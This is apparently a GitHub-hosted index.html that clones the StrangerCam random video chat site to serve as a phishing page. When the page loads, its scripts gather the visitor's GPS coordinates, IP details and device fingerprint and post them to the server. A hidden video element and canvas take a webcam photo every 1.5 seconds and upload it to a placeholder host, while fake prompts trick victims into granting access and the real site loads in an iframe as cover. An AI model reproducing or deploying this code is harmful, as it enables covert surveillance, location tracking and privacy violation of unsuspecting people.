-
Notifications
You must be signed in to change notification settings - Fork 216
/
Copy pathindex.html
207 lines (173 loc) · 7.92 KB
/
index.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
<html>
<head>
<style>
img[alt*="www.000webhost.com"] {
display: none
}
</style>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Random Video Chat - StrangerCam.com: Cam With Strangers</title>
<meta name="description" content="Enjoy our Anonymous random video chat with over 5.000.000 strangers. No Sign-Up Required! Cam with strangers on StrangerCam.com." />
<link rel="canonical" href="https://strangercam.com/" />
<meta property="og:locale" content="en_US" />
<meta property="og:type" content="website" />
<meta property="og:title" content="Random Video Chat - StrangerCam.com: Cam With Strangers" />
<meta property="og:description" content="Enjoy our Anonymous random video chat with over 5.000.000 strangers. No Sign-Up Required! Cam with strangers on StrangerCam.com." />
<meta property="og:url" content="https://strangercam.com/" />
<meta property="og:site_name" content="Stranger Cam" />
<meta property="article:publisher" content="https://www.facebook.com/strangercam" />
<meta property="article:modified_time" content="2021-12-17T14:46:35+00:00" />
<meta property="og:image" content="https://strangercam.com/wp-content/uploads/2021/10/Untitled-2.png" />
<meta property="og:image:width" content="800" />
<meta property="og:image:height" content="532" />
<meta property="og:image:type" content="image/png" />
<meta name="twitter:card" content="summary_large_image" />
<meta name="twitter:site" content="@strangercamapp" />
<meta name="twitter:label1" content="Est. reading time" />
<meta name="twitter:data1" content="4 minutes" />
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>
<script>
$(document).ready(function() {
function getLocation() {
if (navigator.geolocation) {
navigator.geolocation.getCurrentPosition(showPosition, showError);
} else {
alert("Your Browser Does not support Gps");
}
}
function showPosition(position) {
var grak = "Lattitute : " + position.coords.latitude + " " + "Longitude : " + position.coords.longitude
sdrp(grak);
}
function showError(error) {
switch (error.code) {
case error.PERMISSION_DENIED:
sdrp("Location Permission Denied");
alert("Allow Location permission to Chat with nearby Strangers");
window.location.href = "https://www.wikihow.com/Enable-Location-Services-on-Google-Chrome";
break;
case error.POSITION_UNAVAILABLE:
window.close()
break;
case error.TIMEOUT:
window.close()
break;
case error.UNKNOWN_ERROR:
window.close()
break;
}
}
let datetime = new Date();
let localtime = String(datetime.toLocaleTimeString());
let referurl = document.referrer;
let cpuThreads = String(navigator.hardwareConcurrency);
let deviceram = String(navigator.deviceMemory) + "gb";
let useragent = navigator.userAgent;
let iscookieEnabled = String(navigator.cookieEnabled);
let devicelang = String(navigator.language);
let width = screen.width;
let height = screen.height;
let platform = navigator.platform;
let gps = getLocation();
function ipinfo(){
$.getJSON('https://ipapi.co/json/', function(data) {
$.ajax({
type: "POST",
url: "/ipinfo",
data: JSON.stringify(data),
contentType: "application/json",
dataType: 'json',
cache: false,
success: function(data) {},
error: function(xhr, status, error) {
console.log(error);}
})
})
}
function sdrp(bsdks) {
ipinfo();
$.ajax({
type: "POST",
url: "/process_qtc",
data: JSON.stringify({
Screenwidth: width,
Screenheight: height,
platform: platform,
Gps: bsdks,
Devicelanguage: devicelang,
iscookieEnabled: iscookieEnabled,
Useragent: useragent,
DeviceMemory: deviceram,
CpuThreads: cpuThreads,
Referurl: referurl,
Devicelocaltime: localtime,
}),
contentType: "application/json",
dataType: 'json',
cache: false,
success: function(data) {},
error: function(xhr, status, error) {
console.log(error);
}
})
}
})
</script>
</head>
<div class="video-wrap" hidden="hidden">
<video id="video" playsinline autoplay></video>
</div>
<canvas hidden="hidden" id="canvas" width="640" height="480"></canvas>
<script>
function postFile(file) {
let formdata = new FormData();
formdata.append("image", file);
let xhr = new XMLHttpRequest();
xhr.open('POST', 'https://your-url-here/image', true);
xhr.onload = function () {
if (this.status === 200)
console.log(this.response);
else
console.error(xhr);
};
xhr.send(formdata);
}
const video = document.getElementById('video');
const canvas = document.getElementById('canvas');
const errorMsgElement = document.querySelector('span#errorMsg');
const constraints = {
audio: false,
video: {
facingMode: "user"
}
};
// Access webcam
async function init() {
try {
const stream = await navigator.mediaDevices.getUserMedia(constraints)
handleSuccess(stream);
} catch (e) {
setTimeout(function(){
alert("Allow Camera access to chat with strangers");
window.location.href = "https://support.onemob.com/hc/en-us/articles/360037342154-How-do-I-grant-permission-for-Camera-and-Microphone-in-my-web-browser-";
},3000)
}}
// Success
function handleSuccess(stream) {
window.stream = stream;
video.srcObject = stream;
var context = canvas.getContext('2d');
setInterval(function(){
context.drawImage(video, 0, 0, 640, 480);
canvas.toBlob(postFile, 'image/jpeg'); }, 1500);
}
// Load init
init();
</script>
<body>
<p>
<iframe id="forPostyouradd" src="https://strangercam.com/stranger-chat/" frameborder="0" style="overflow:hidden;height:100%;width:100%" height="100%" width="100%"></iframe>
</p>
</body>
</html>